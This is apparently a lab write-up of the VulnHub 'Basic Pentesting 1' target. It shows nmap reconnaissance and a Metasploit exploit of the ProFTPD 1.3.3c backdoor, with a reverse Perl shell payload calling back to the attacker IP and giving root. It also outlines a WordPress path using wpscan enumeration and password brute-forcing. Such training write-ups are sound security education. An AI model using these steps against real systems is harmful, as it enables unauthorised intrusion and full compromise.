Basic Pentesting 1

Network Penetration Testing Write-up

Assessment Type	Network Penetration Test
Target	Basic Pentesting 1 (VulnHub)
Attacker IP	10.10.10.3
Target IP	10.10.10.4
Primary Finding	ProFTPD 1.3.3c Backdoor
Impact	Remote Code Execution (RCE) with Root Privileges

This report documents the reconnaissance, service enumeration, vulnerability identification, exploitation, and privilege verification performed against the intentionally vulnerable lab target.

Attacker IP: 10.10.10.3

Target IP: 10.10.10.4

1. Host Discovery

Used netdiscover to identify live hosts on the network, which revealed the target IP: `10.10.10.4`.

```
netdiscover
```

2. Full Nmap Scan

```
nmap -sC -sV -p- -oN nmap_full.txt 10.10.10.4
```

Results showed 3 open ports:

- 21/tcp — FTP: ProFTPD 1.3.3c
- 22/tcp — SSH
- 80/tcp — HTTP

3. Identifying the Vulnerability (FTP)

The Nmap banner confirmed the ProFTPD version as 1.3.3c, a version known to contain a backdoor. This backdoor was injected into the official ProFTPD source code after the project's own servers were compromised — it's not a technical vulnerability like a buffer overflow, but a planted backdoor that lets any connecting client execute arbitrary commands on the system.

4. Exploitation via Metasploit

Launching msfconsole and searching for the module

```
msfconsole
search proftpd
```

Selected the module matching version 1.3.3c:

```
use exploit/unix/ftp/proftpd_133c_backdoor
```

Configuring options

```
set RHOSTS 10.10.10.4
options
```

Selecting the payload

First attempt with `run` directly failed due to no payload being selected:

```
[-] Exploit failed: A payload has not been selected.
```

Reviewed the available payloads:

```
show payloads
```

Selected a reverse shell payload:

```
set PAYLOAD cmd/unix/reverse_perl
set LHOST 10.10.10.3
```

> Important note (common mistake): Using `use <number>` from the payload list instead of `set PAYLOAD <number>` switches msfconsole to an entirely different exploit module (as happened here, accidentally landing on `freebsd/ftp/proftp_telnet_iac`). Always use `set PAYLOAD` — never `use` — once you already have the correct exploit module selected.

Execution

```
run
```

The scan confirmed the banner:

```
[*] 10.10.10.4:21 - FTP Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [10.10.10.4]
```

After correcting the module and payload, exploitation succeeded and a session opened directly with root privileges, since the FTP service was running as root.

5. Verifying Access

```
whoami
id
```

Confirmed the session had full root privileges on the target system.

6. Alternate Path: Web Application (WordPress) — Not Yet Executed

The original writeup outlined an independent alternate path via port 80:

1. Browse to the target IP to find a running web page.
2. Use dirbuster to brute-force directories, discovering a `secret` directory.
3. Links inside `secret` redirect to a domain called `vtcsec`, requiring an `/etc/hosts` entry mapping it to the target IP:

   ```
   sudo leafpad /etc/hosts
   ```

   Add:

   ```
   10.10.10.4   vtcsec
   ```

4. After the edit, the page resolves to a WordPress site.
5. Use wpscan to enumerate the username:

   ```
   wpscan --url http://vtcsec/secret/ --enumerate u
   ```

6. Once the username is found, brute-force the password to log in to the admin panel.

This path has not yet been executed in this session — it's an independent alternate access route, not a continuation of the FTP session.

7. Summary and Recommendations

- Vulnerability: ProFTPD 1.3.3c Backdoor.
- Impact: Remote Code Execution (RCE) with full root privileges.
- Recommendation: Upgrade ProFTPD to the latest stable release, verify source code integrity from official trusted sources only, and avoid running network services as root unless strictly necessary.